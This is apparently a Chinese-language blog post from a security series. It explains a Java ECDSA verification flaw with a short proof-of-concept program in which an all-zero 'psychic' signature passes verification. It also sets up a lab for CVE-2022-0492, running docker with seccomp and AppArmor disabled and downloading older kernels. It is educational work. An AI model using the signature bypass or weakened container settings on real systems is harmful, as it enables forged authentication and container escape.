「先別走!行行出狀元!如果我沒看錯,你會是乞丐中的霸主!」-《武狀元蘇乞兒》
第20天要來點我害怕的數學惹,這是一個 Java VM 針對橢圓密碼曲線驗證簽章實作上的疏失導致可以被繞過,該漏洞相關資訊如下。
漏洞相關資訊
在密碼學中的有幾個重要的應用,像是加解密、簽章驗證,很大一部分都是保證了資訊安全的機密性或是完整性。所以這邊針對密碼學的部分要簡單說明一下概念,這邊就舉個簡單的例子。
對稱式加密法
非對稱式加密法
簽章及驗章
建立步驟如下 :
import java.security.* ;
public class ECDSATest {
public static void main(String [] args) throws Exception {
KeyPair keys = KeyPairGenerator.getInstance("EC").generateKeyPair() ;
Signature sig = Signature.getInstance("SHA256WithECDSAInP1363Format") ;
sig.initSign(keys.getPrivate());
sig.update("Hello, World".getBytes()) ;
byte [] signature = sig.sign() ;
sig = Signature.getInstance("SHA256WithECDSAInP1363Format") ;
sig.initVerify(keys.getPublic()) ;
sig.update("Hello, World".getBytes()) ;
System.out.println("verify with Original Signatures:" + sig.verify(signature)) ;
byte [] blankSignature = new byte[64] ;
sig = Signature.getInstance("SHA256WithECDSAInP1363Format") ;
sig.initVerify(keys.getPublic()) ;
sig.update("Hello, World".getBytes()) ;
System.out.println("verify with Psychic Signatures:" + sig.verify(blankSignature)) ;
}
}
CVE-2022-0492 作業解答 :
docker run --rm -it --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu bash
步驟如下 :
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.16.20/amd64/linux-headers-5.16.20-051620-generic_5.16.20-051620.202204131933_amd64.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.16.20/amd64/linux-headers-5.16.20-051620_5.16.20-051620.202204131933_all.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.16.20/amd64/linux-image-unsigned-5.16.20-051620-generic_5.16.20-051620.202204131933_amd64.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.16.20/amd64/linux-modules-5.16.20-051620-generic_5.16.20-051620.202204131933_amd64.deb
參考資料 :